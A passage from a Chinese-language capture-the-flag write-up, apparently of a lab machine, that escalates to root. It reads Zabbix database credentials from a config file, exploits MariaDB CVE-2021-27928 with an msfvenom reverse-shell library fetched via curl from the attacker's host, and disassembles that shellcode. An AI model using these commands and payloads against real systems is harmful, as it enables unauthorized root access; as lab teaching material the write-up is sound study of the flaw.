查看当前主机上运行的所有进程:

能看到有很多有关 zabbix 的服务,那么是否能找到 zabbix 的配置文件并看到里面的内容呢?

Bash
ipmi-svc@shibboleth:/$ find / -name zabbix_server.conf 2>/dev/null
/etc/zabbix/zabbix_server.conf

能找到,并且也能读:

Bash
ipmi-svc@shibboleth:/$ cat /etc/zabbix/zabbix_server.conf | grep -vP '^#' | awk 'NF'
LogFile=/var/log/zabbix/zabbix_server.log
LogFileSize=0
PidFile=/run/zabbix/zabbix_server.pid
SocketDir=/run/zabbix
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
SNMPTrapperFile=/var/log/snmptrap/snmptrap.log
Timeout=4
AlertScriptsPath=/usr/lib/zabbix/alertscripts
ExternalScripts=/usr/lib/zabbix/externalscripts
FpingLocation=/usr/bin/fping
Fping6Location=/usr/bin/fping6
LogSlowQueries=3000
StatsAllowedIP=127.0.0.1

能看到一个有关数据库的账密信息:

Bash
DBUser=zabbix
DBPassword=bloooarskybluh

之前看到的进程中,确实有数据库,并且是 root 用户执行的:

Bash
ipmi-svc@shibboleth:/$ ps auxww | grep mysql
root        1068  0.0  0.0   2608  1692 ?        S    06:53   0:00 /bin/sh /usr/bin/mysqld_safe
root        1254  0.6  3.4 1725612 137136 ?      Sl   06:53   0:42 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock
root        1255  0.0  0.0  10572  1080 ?        S    06:53   0:00 logger -t mysqld -p daemon error
ipmi-svc   18255  0.0  0.0   9036   732 pts/0    S+   08:36   0:00 grep --color=auto mysql

四、root shell#

登入 mysql:

Bash
ipmi-svc@shibboleth:/etc/zabbix$ mysql -u zabbix -pbloooarskybluh -D zabbix
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1383
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [zabbix]>

注意 -p 后面要紧跟密码,否则会失败。

看一下有哪些表:

Bash
MariaDB [zabbix]> select * from users;
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+---------------+---------------+---------------+
| userid | alias         | name         | surname       | passwd                                                       | url | autologin | autologout | lang  | refresh | type | theme      | attempt_failed | attempt_ip    | attempt_clock | rows_per_page |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+---------------+---------------+---------------+
|      1 | Admin         | Zabbix       | Administrator | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |     |         0 | 0          | en_GB | 60s     |    3 | dark-theme |              0 | 192.168.139.9 |    1619285020 |            50 |
|      2 | guest         |              |               | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |     |         0 | 15m        | en_GB | 30s     |    1 | default    |              0 |               |             0 |            50 |
|      3 | Administrator | IPMI Service | Account       | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |     |         0 | 0          | en_GB | 60s     |    2 | default    |              0 | 10.10.16.21   |    1779602715 |            50 |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+---------------+---------------+---------------+
3 rows in set (0.000 sec)

字段太多,显得有点乱,就看三个字段:

Bash
MariaDB [zabbix]> select alias,name,passwd from users;
+---------------+--------------+--------------------------------------------------------------+
| alias         | name         | passwd                                                       |
+---------------+--------------+--------------------------------------------------------------+
| Admin         | Zabbix       | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |
| guest         |              | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |
| Administrator | IPMI Service | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |
+---------------+--------------+--------------------------------------------------------------+
3 rows in set (0.001 sec)

可以看到,当前登入的用户的别名(alias)为 Admin,它的权限如何呢?

Bash
MariaDB [zabbix]> show grants;
+---------------------------------------------------------------------------------------------------------------+
| Grants for zabbix@localhost                                                                                   |
+---------------------------------------------------------------------------------------------------------------+
| GRANT SUPER ON *.* TO `zabbix`@`localhost` IDENTIFIED BY PASSWORD '*3F74D65BA647534AC75FBE1048027AC98EC75C4C' |
| GRANT ALL PRIVILEGES ON `zabbix`.* TO `zabbix`@`localhost`                                                    |
+---------------------------------------------------------------------------------------------------------------+
2 rows in set (0.001 sec)
  • SUPER:超级管理员权限
  • ON *.*:全局权限,对所有数据库的所有表都生效
  • IDENTIFIED BY PASSWORD '...':显示的是该用户的密码哈希值
  • ALL PRIVILEGES:全部权限
  • ON zabbix.*:只针对 zabbix 这个数据库生效

简单来说,zabbix 用户对 zabbix 数据库拥有完全控制权。

看看数据库的版本信息:

Bash
MariaDB [zabbix]> select version();
+----------------------------------+
| version()                        |
+----------------------------------+
| 10.3.25-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.000 sec)

查找该版本下的 MariaDB 的已知漏洞:

file-20260524174836014

没有找到内容,试扩大版本范围(10.3.25 →\to 10.3):

file-20260524174931093

对应漏洞 CVE-2021-27928。

影响范围:

file-20260524175108769

刚好有我们当前遇到的版本。

这是一个 RCE 漏洞,并且需要有高权限用户,其大致描述:不可信的搜索路径导致 eval 注入,数据库 SUPER 用户在修改 wsrep_provider 和 wsrep_notify_cmd 后可以执行操作系统命令。

刚好现有账户 zabbix 就是 SUPER 权限,因此这是一个和当前情况很匹配的 CVE。

去查询 Exp:

file-20260524175917338

在 Exploit-DB 上就有,可以直接用命令行工具查看:

Bash
$searchsploit MariaDB 10.2
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
MariaDB 10.2 - 'wsrep_provider' OS Command Execution                                                           | linux/local/49765.txt
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

是一个 txt 文本信息,直接用 -x 参数查看其中的内容:

Text
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

CVE-2021-27928:

file-20260525205251058

描述:不受信任的搜索路径导致 eval 注入,数据库超级用户(SUPER)在修改 wsrep_provider 和 wsrep_notify_cmd 后可执行操作系统命令。

eval 注入本质上就是代码注入,因为 eval 在很多的编程语言中都是“动态执行函数”,于是以此代表那些能执行代码的函数。

该漏洞涉及到一个插件 ------ Galera。
该插件能让 MariaDB / MySQL 实现同步多主复制的集群方案。

什么是多主呢?

在传统方案中,为了实现数据库的冗余,采用的是“主-从”方案,主负责“写”操作,从负责“读”主写的内容以此同步数据。

而在多主方案中,就是有多个主,他们都可以执行写操作(但是一次只能一个主在写),实现同步的方式就是一个主在写的时候,其他几个主进行读,数据都同步完成之后,再换下一个主来写。这就使得整个冗余系统更加鲁棒。

file-20260525210647865

而 Galera 插件的实现需要依赖一个叫 wsrep(Write Set Replication)的插件机制,主要通过两个关键系统变量控制:

  • wsrep_provider:指定 Galera 提供程序共享库的路径(正常情况下是 /usr/lib/galera/libgalera_smm.so)。
  • wsrep_notify_cmd:当节点状态发生变化(加入/离开集群等)时,要执行的通知命令/脚本。

这两个变量原本设计为运行时可修改(SET GLOBAL),因为运维人员可能需要动态切换 provider。

但是,MariaDB 在处理 wsrep_provider 的时候存在严重的设计缺陷。

当你在数据库中执行:

MYSQL
SET GLOBAL wsrep_provider = '/path/to/xxx.so'

的时候,MariaDB 会动态加载这个 .so 文件到 mysqld 进程(MySQL / MariaDB 数据库服务器的主进程)中。

一旦加载,该库文件中的构造函数(__attribute__((constructor)))就会立即执行。

构造函数是一个特殊的函数,它会在“对象被创建/加载”的那一刻自动执行。

而这个库文件的路径是没有经过过滤的,那么攻击者恶意构造库文件,将其中构造函数的内容改成执行反弹 shell,经上述数据库操作之后,就能获得 shell。

而且,之前的进程信息告诉我们,执行 mysqld 的是 root 用户,而该构造函数的执行 mysqld 是载体,换言之,如果反弹 shell 成功,我们得到的将是 root shell。

根据 txt 文件中的方法进行漏洞利用。

首先在本地生成用于反弹 shell 文件:

Bash
$msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.21 LPORT=5555 -f elf-so -o CVE-2021-27928.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: CVE-2021-27928.so

在本地开启对应的监听服务:

Bash
$nc -lvnp 5555
Listening on 0.0.0.0 5555

先在本地开启 http 服务:

Bash
$python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

在目标服务器上执行下载命令:

Bash
ipmi-svc@shibboleth:/etc/zabbix$ curl -o /tmp/CVE-2021-27928.so http://10.10.16.21:8000/CVE-2021-27928.so
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   476  100   476    0     0   2042      0 --:--:-- --:--:-- --:--:--  2051
ipmi-svc@shibboleth:/etc/zabbix$ ls -la /tmp | grep CVE
-rw-rw-r--  1 ipmi-svc ipmi-svc  476 May 24 12:31 CVE-2021-27928.so

确认下载完成之后,利用 mysql 执行命令:

Bash
mysql -u zabbix -pbloooarskybluh -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

执行完成之后,监听窗口会多一条日志信息:

Bash
Connection received on 10.129.177.211 34386

这说明反弹 shell 成功了。

老样子,快速走一遍 shell 稳定化(这里就不展示命令和操作了)。

确认当前身份:

Bash
root@shibboleth:/var/lib/mysql# whoami
root

和之前分析的一样。

直接读取 root shell:

Bash
root@shibboleth:/var/lib/mysql# cat /root/root.txt
43faca*******************

这里也可以看一下 CVE-2021-27928.so 这个文件,通过反汇编工具 Ghidra 打开。

反汇编出来的 C 语言(关键部分):

C
void UndefinedFunction_00100192(void)

{
  long lVar1;
  
  syscall();
  syscall();
  lVar1 = 3;
  do {
    lVar1 = lVar1 + -1;
    syscall();
  } while (lVar1 != 0);
  syscall();
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

可以看到四个系统调用。

第一个系统调用的汇编代码:

ASM
00100192 6a 29           PUSH       0x29
00100194 58              POP        RAX
00100195 99              CDQ
00100196 6a 02           PUSH       0x2
00100198 5f              POP        RDI
00100199 6a 01           PUSH       0x1
0010019b 5e              POP        RSI
0010019c 0f 05           SYSCALL

RAX 寄存器中存放的是系统调用号,0x29 表示 socket。

同理,后续几个系统调用:

  • connect
  • dup2
  • execve

socket 系统调用:

ASM
00100192 6a 29           PUSH       0x29
00100194 58              POP        RAX
00100195 99              CDQ
00100196 6a 02           PUSH       0x2
00100198 5f              POP        RDI
00100199 6a 01           PUSH       0x1
0010019b 5e              POP        RSI
0010019c 0f 05           SYSCALL
0010019e 48 97           XCHG       RAX,RDI

创建了 TCP socket,并将返回值(socket fd)保存到 RDI 寄存器中。

接着:

ASM
001001a0 48 b9 02        MOV        RCX,0x15100a0ab3150002
		 00 15 b3 
		 0a 0a 10 15
001001aa 51              PUSH       RCX

这串十六进制被 PUSH 到栈上(内存的一片空间),按照小端序排列也就是:

Text
02 00 15 b3 0a 0a 10 15

按照 sockaddr_in 结构来对应:

字节十六进制值字段含义说明
第0-1字节02 00sin_family地址族2 = AF_INET(IPv4)
第2-3字节15 b3sin_port端口号5555(网络字节序)
第4-7字节0a 0a 10 15sin_addrIP 地址10.10.16.21

这其实就是我们指定的反弹 shell 的目的 IP 以及 端口。

对应 C 语言结构体:

C
struct sockaddr_in {
    short sin_family;           // 2 字节 → 02 00
    unsigned short sin_port;    // 2 字节 → 15 b3(端口 5555)
    struct in_addr sin_addr;    // 4 字节 → 0a 0a 10 15(IP)
    char sin_zero[8];           // 这里被省略了
};

然后,第二个系统调用 connect:

ASM
001001ab 48 89 e6        MOV        RSI,RSP
001001ae 6a 10           PUSH       0x10
001001b0 5a              POP        RDX
001001b1 6a 2a           PUSH       0x2a
001001b3 58              POP        RAX
001001b4 0f 05           SYSCALL

让靶机主动连接到攻击者的 10.10.16.21:5555,建立反向连接。

下面就进入 dup2 循环:

ASM
001001b6 6a 03           PUSH       0x3
001001b8 5e              POP        RSI
					 LAB_001001b9                                    XREF[1]:     001001c1(j)  
001001b9 48 ff ce        DEC        RSI
001001bc 6a 21           PUSH       0x21
001001be 58              POP        RAX
001001bf 0f 05           SYSCALL
001001c1 75 f6           JNZ        LAB_001001b9

RSI 寄存器的初始值为 3,每次循环内容开始之前都会先进行减 1 操作。而且该值不仅作为循环退出的信号,还会作为 dup2 的第二个参数:

  • 2 代表 stderr(标准错误)
  • 1 代表 stdout(标准输出)
  • 0 代表 stdin(标准输入)

简单来说,该循环会把当前进程的标准输入、标准输出、标准错误全部重定向到刚才建立的 socket 上。这样后面执行的 shell,它的输入输出就都会通过这个网络连接传输。

最后一个系统调用 execve(最关键):

ASM
001001c7 48 bb 2f        MOV        RBX,0x68732f6e69622f
		 62 69 6e 
		 2f 73 68 00
001001d1 53              PUSH       RBX
001001d2 48 89 e7        MOV        RDI,RSP
001001d5 52              PUSH       RDX
001001d6 57              PUSH       RDI
001001d7 48 89 e6        MOV        RSI,RSP
001001da 0f 05           SYSCALL

0x68732f6e69622f 这串 16 进制数被 PUSH 到栈上,并且 RDI 会接收该十六进制数的地址信息然后作为 execve 的第一个参数。

execve 的定义:

C
#include <unistd.h>
       int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);

第一个参数是指定要执行命令的文件名地址。

shellcode 中指定为 0x68732f6e69622f 的内存所在地址,该十六进制对应的文件名:

Bash
$python
Python 3.13.5 (main, Apr  6 2026, 12:24:14) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex_str = "0x68732f6e69622f"
>>> hex_str = hex_str[2:]
>>> result = bytes.fromhex(hex_str)[::-1].decode('ascii')
>>> print(result)
/bin/sh

第二个参数是参数数组,其数组名可以坍缩成一个指向指针的指针,它指向了之前指向 /bin/sh 文件的指针地址。

简单来说,这里就是开启了一个 shell,可供交互式执行命令。

可以看到,这个恶意 .so 文件并没有按照我们之前分析的,采用构造函数的方式去自动触发执行,这里利用的是 __DT_INIT。

shellcode 正文是在 __DT_INIT 条目之中的,动态链接器加载 .so 时会自动读取这个条目,然后跳转到该地址执行,效果上等同于调用了一个函数。

简单讲,恶意 .so 文件被指定后,mysqld 为了运行它,需要调用动态链接器来加载该文件,这就触发了自动调用执行 __DT_INIT 中的内容即 shellcode。

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做